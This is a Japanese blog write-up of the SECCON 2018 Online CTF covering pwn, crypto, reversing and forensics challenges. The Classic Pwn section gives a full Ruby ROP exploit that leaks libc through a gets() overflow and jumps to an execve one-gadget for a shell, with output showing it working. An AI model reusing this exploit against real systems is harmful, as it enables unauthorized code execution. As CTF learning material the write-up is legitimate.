LoginSignup
36
24

More than 5 years have passed since last update.

SECCON 2018 Online CTF Writeup

Last updated at Posted at 2018-10-28

チームnicklegrで個人参加。
631点で122位(653チーム中)でした。

順位

問題リスト

Classic Pwn (Pwn)

入力にgetsを使ってるのでスタックを自由に壊せる。
libc_baseをリークしてからmainに飛ばし、2周目でOne-gadget-rceに飛ばせばいい。
…と簡単に書いたけど、Pwn慣れしてなくて2時間半くらいかかった。でも本番中にPwnが解けてうれしい。

return addressまでのoffsetは72byte

$ gdb classic
gdb-peda$ pattc 256
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddc8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")

One-gadget-rceを探すと、下記の3つ

  • 4526a (if [rsp+0x30] == 0)
  • f02a4 (if [rsp+0x50] == 0)
  • f1147 (if [rsp+0x70] == 0)
$ strings -tx libc-2.23.so | grep /bin/sh
 18cd57 /bin/sh

$ objdump -M intel -d libc-2.23.so | grep 18cd57 -A 8 -B 8 | grep execve -B 8
   4526a: 48 8b 05 47 ec 37 00  mov    rax,QWORD PTR [rip+0x37ec47]        # 3c3eb8 <_IO_file_jumps+0x7d8>
   45271: 48 8d 3d df 7a 14 00  lea    rdi,[rip+0x147adf]        # 18cd57 <_libc_intl_domainname+0x197>
   45278: 48 8d 74 24 30        lea    rsi,[rsp+0x30]
   4527d: c7 05 19 12 38 00 00  mov    DWORD PTR [rip+0x381219],0x0        # 3c64a0 <__abort_msg+0x8c0>
   45284: 00 00 00 
   45287: c7 05 13 12 38 00 00  mov    DWORD PTR [rip+0x381213],0x0        # 3c64a4 <__abort_msg+0x8c4>
   4528e: 00 00 00 
   45291: 48 8b 10              mov    rdx,QWORD PTR [rax]
   45294: e8 d7 74 08 00        call   cc770 <execve>
--
   f028f: 48 8d 3d f1 e3 09 00  lea    rdi,[rip+0x9e3f1]        # 18e687 <_libc_intl_domainname+0x1ac7>
   f0296: e8 65 9a f4 ff        call   39d00 <unsetenv>
   f029b: 8b 7c 24 40           mov    edi,DWORD PTR [rsp+0x40]
   f029f: e8 3c 76 00 00        call   f78e0 <__close>
   f02a4: 48 8b 05 0d 3c 2d 00  mov    rax,QWORD PTR [rip+0x2d3c0d]        # 3c3eb8 <_IO_file_jumps+0x7d8>
   f02ab: 48 8d 74 24 50        lea    rsi,[rsp+0x50]
   f02b0: 48 8d 3d a0 ca 09 00  lea    rdi,[rip+0x9caa0]        # 18cd57 <_libc_intl_domainname+0x197>
   f02b7: 48 8b 10              mov    rdx,QWORD PTR [rax]
   f02ba: e8 b1 c4 fd ff        call   cc770 <execve>
--
   f1132: 48 8d 3d 4e d5 09 00  lea    rdi,[rip+0x9d54e]        # 18e687 <_libc_intl_domainname+0x1ac7>
   f1139: e8 c2 8b f4 ff        call   39d00 <unsetenv>
   f113e: 8b 7c 24 60           mov    edi,DWORD PTR [rsp+0x60]
   f1142: e8 99 67 00 00        call   f78e0 <__close>
   f1147: 48 8b 05 6a 2d 2d 00  mov    rax,QWORD PTR [rip+0x2d2d6a]        # 3c3eb8 <_IO_file_jumps+0x7d8>
   f114e: 48 8d 74 24 70        lea    rsi,[rsp+0x70]
   f1153: 48 8d 3d fd bb 09 00  lea    rdi,[rip+0x9bbfd]        # 18cd57 <_libc_intl_domainname+0x197>
   f115a: 48 8b 10              mov    rdx,QWORD PTR [rax]
   f115d: e8 0e b6 fd ff        call   cc770 <execve>

実はx64のPwnは初挑戦。puts()に引数を渡すためにpop rdiガジェットが必要らしい。

$ rp-lin-x64 -f classic --rop=1 --unique
You decided to keep only the unique ones, 34 unique gadgets found.
...
0x00400753: pop rdi ; ret  ;  (1 found)
...

というわけで

require "pp"
require_relative "pwnlib"

def p64(a)
  [a].pack("Q<")
end

def u64(a)
  a.unpack("Q<")[0]
end

plt_puts = 0x400520
got_puts = 0x601018
main = 0x4006a9

libc_offset_puts = 0x6f690

# gadgets
pop_rdi = 0x400753

# one_gadget_rce = 0x4526a # if [rsp+0x30] == 0
one_gadget_rce = 0xf02a4 # if [rsp+0x50] == 0
# one_gadget_rce = 0xf1147 # if [rsp+0x70] == 0

PwnTube.open("classic.pwn.seccon.jp", 17354) do |t|
  # leak libc_base & return to main
  payload = "A" * 72 +
    p64(pop_rdi) +     # puts(got_puts)
    p64(got_puts) +
    p64(plt_puts) +
    p64(main)          # main()

  t.recv_until("Local Buffer >> ")
  t.sendline(payload)
  t.recv_until("Have a nice pwn!!\n")

  leak = t.recv_until("\n")
  pp leak

  leak_addr = leak.rstrip.ljust(8, "\x00")
  libc_base = u64(leak_addr) - libc_offset_puts

  puts "[+] leak_addr = 0x#{u64(leak_addr).to_s(16)}"
  puts "[+] libc_base = 0x#{libc_base.to_s(16)}"

  # call one gadget rce
  payload2 = "A" * 72 +
    p64(libc_base + one_gadget_rce)

  t.recv_until("Local Buffer >> ")
  t.sendline(payload2)
  t.recv_until("Have a nice pwn!!\n")

  t.shell
end
$ ruby main.rb
[*] connected
"\x906\xDCP\x8D\x7F\n"
[+] leak_addr = 0x7f8d50dc3690
[+] libc_base = 0x7f8d50d54000
[*] waiting for shell...
[*] interactive mode
ls -l
total 16
-rwxr-x--- 1 root classic 8872 Oct 23 02:37 classic
-rw-r----- 1 root classic   44 Oct 23 02:37 flag.txt
cat flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}

わーい

SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}

Boguscrypt (Crypto)

$ ls -l
total 73
-rwxrwx--- 1 root vboxsf 33926 10月 26 22:33 challenge.pcap
-rwxrwx--- 1 root vboxsf  7845 10月 26 22:33 dec
-rwxrwx--- 1 root vboxsf    46 10月 26 22:33 flag.txt.encrypted

pcapを眺めると、妙なDNSクエリが

Frame 43: 185 bytes on wire (1480 bits), 185 bytes captured (1480 bits)
Ethernet II, Src: Vmware_e4:8f:b5 (00:0c:29:e4:8f:b5), Dst: Vmware_35:99:09 (00:0c:29:35:99:09)
Internet Protocol Version 4, Src: 192.168.108.129, Dst: 192.168.108.136
User Datagram Protocol, Src Port: 53, Dst Port: 41624
Domain Name System (response)
    [Request In: 41]
    [Time: 0.000230000 seconds]
    Transaction ID: 0x7079
    Flags: 0x8580 Standard query response, No error
    Questions: 1
    Answer RRs: 1
    Authority RRs: 1
    Additional RRs: 2
    Queries
        2.0.0.127.in-addr.arpa: type PTR, class IN
    Answers
        2.0.0.127.in-addr.arpa: type PTR, class IN, cur10us4ndl0ngh0stn4m3
    Authoritative nameservers
        127.in-addr.arpa: type NS, class IN, ns localhost
    Additional records
        localhost: type A, class IN, addr 127.0.0.1
        localhost: type AAAA, class IN, addr ::1

2.0.0.127.in-addr.arpa: type PTR, class IN, cur10us4ndl0ngh0stn4m3
cur10us4ndl0ngh0stn4m3 -> curious and long hostname
ふむん

$ ./dec
Key?:cur10us4ndl0ngh0stn4m3
gethostbyaddr: Host name lookup failure

じゃあ/etc/hostsに下記を足す

127.0.0.2 cur10us4ndl0ngh0stn4m3
$ ./dec
Key?:cur10us4ndl0ngh0stn4m3
$ ls -l
total 73
-rwxrwx--- 1 root vboxsf 33926 10月 26 22:33 challenge.pcap
-rwxrwx--- 1 root vboxsf  7845 10月 26 22:33 dec
-rwxrwx--- 1 root vboxsf    46 10月 28 11:44 flag.txt
-rwxrwx--- 1 root vboxsf    46 10月 26 22:33 flag.txt.encrypted
$ cat flag.txt
SECCON{This flag is encoded by bogus routine}
SECCON{This flag is encoded by bogus routine}

Runme (Reversing)

Ollydbgでステップ実行すると、コマンドラインと一文字ずつ比較して間違ってたら終了する。
比較してる値はPUSH <即値>で一文字ずつスタックに積まれている。

というわけで

$ grep -e 'PUSH [0-9A-F][0-9A-F]$' runme.asm > runme_flag.asm
00401054  |.  6A 43         PUSH 43
00401080  |.  6A 3A         PUSH 3A
004010AC  |.  6A 5C         PUSH 5C
004010D8  |.  6A 54         PUSH 54
00401104  |.  6A 65         PUSH 65
00401130  |.  6A 6D         PUSH 6D
0040115C  |.  6A 70         PUSH 70
00401188  |.  6A 5C         PUSH 5C
...

これをかき集めて

hex = "433A5C54656D705C534543434F4E323031384F6E6C696E652E6578652220534543434F4E7B52756E6E316E365F503437687D"
puts [hex].pack("H*")
C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}

Unzip (Forensics)

makefile.sh
echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt

このファイルのタイムスタンプは2018‎年‎10‎月‎27‎日 0:10:06。じゃあそこら辺を総当たり

center = 1540566606

(center-100 .. center+100).each do |i|
  puts i
  result = `unzip -P #{i} flag.zip`
end

実行すると

1540566506
   skipping: flag.txt                incorrect password
1540566507
   skipping: flag.txt                incorrect password
...
1540566527
  error:  invalid compressed data to inflate
...
1540566641
replace flag.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y

ここで止めたら解凍できた。
正解は2018‎年‎10‎月‎27‎日 0:10:41。ああ、flag.zipのタイムスタンプでいいのか。

SECCON{We1c0me_2_SECCONCTF2o18}

History (Forensics)

  • 問題文 "History Check changed filename"
  • ファイル名が"J"
  • バイナリダンプするとWindowsのシステムファイル名っぽいのがいろいろ

なので、NTFSのジャーナル領域?

https://github.com/PoorBillionaire/USN-Journal-Parser でパースできた。

$ usn.py -f J -o J.txt
$ grep RENAME J.txt
...
2018-09-29 07:51:24.557945 | SEC.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:51:24.557945 | CON{.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:51:24.557945 | CON{.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:52:22.779984 | CON{.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:52:22.779984 | F0r.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:52:22.779984 | F0r.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:52:26.330582 | WmiApRpl_new.h | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:52:26.330582 | WmiApRpl.h | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:52:26.330582 | WmiApRpl.h | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:52:26.330582 | WmiApRpl_new.ini | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:52:26.330582 | WmiApRpl.ini | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:52:26.330582 | WmiApRpl.ini | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:52:53.691992 | F0r.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:52:53.691992 | ensic.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:52:53.691992 | ensic.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:53:08.622816 | ensic.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:53:08.622816 | s.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:53:08.622816 | s.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:54:24.492611 | s.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:54:24.492611 | _usnjrnl.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:54:24.492611 | _usnjrnl.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:54:38.376635 | _usnjrnl.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:54:38.376635 | 2018}.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:54:38.376635 | 2018}.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
SECCON{F0rensics_usnjrnl2018}

block (Reversing)

解けなかった。

Unityアプリ。実行するとフラグが書いてある板がグルグル回ってる。一部がキューブに隠れて見えない。
https://github.com/DerPopo/UABE でリソースを調べると、テクスチャに画像で描いてあるようなので抽出。

SECCON{Y0U_4R3_34CH+3R?}

Incorrect. あれ?
運営に聞いてみる。

00:33 (nicklegr) @seccon-admin flag check of block is correct?
00:33 (nicklegr) may be I got valid flag
00:36 (seccon-admin) About Reversing challenge "block"  :Real answer flag is not easy to get it, if your post flag is incorrect, it is not real one. Please try to analyze more .sorry for confusing  this challenge.

フェイクかーい。もっと分かりやすく書いてくれ

問題文が"BREAK THE BLOCK!"なので、キューブを非表示にすればいいんだろうか。
UABEのExport DumpでMeshRendererのリソースをダンプして、下記のように書き換える。

unnamed_asset-level0-13-MeshRenderer.txt
 0 bool m_Enabled = false

Import DumpしてSave。
level0かsharedassets0.assetsのどっちかが変更されるので、差し替えてapkをリパック。

> apktool b block -o block_patched.apk
-c を付けると古い署名がコピーされるのでダメ

> jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA1 -tsa http://timestamp.digicert.com -keystore key\debug.keystore -storepass android block_patched.apk  androiddebugkey

キューブは消えてフラグが見えたけど、他には何も出てこない。
Skyboxを指してるんだろうか。

unnamed_asset-level0-19-RenderSettings.txt
 0 PPtr<Material> m_SkyboxMaterial
  0 int m_FileID = 0
  0 SInt64 m_PathID = 0

これでSkyboxも消せるが、やはり何も出てこない。
これ以上は思いつかず。

追記: キューブを消した画面をよく見たらちゃんと正しいフラグが表示されてる。ぱっと見同じなので気づかなかった。詰めが甘かった…

SECCON{4R3_Y0U_CH34+3R?}

他の方のWriteup

36
24
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
36
24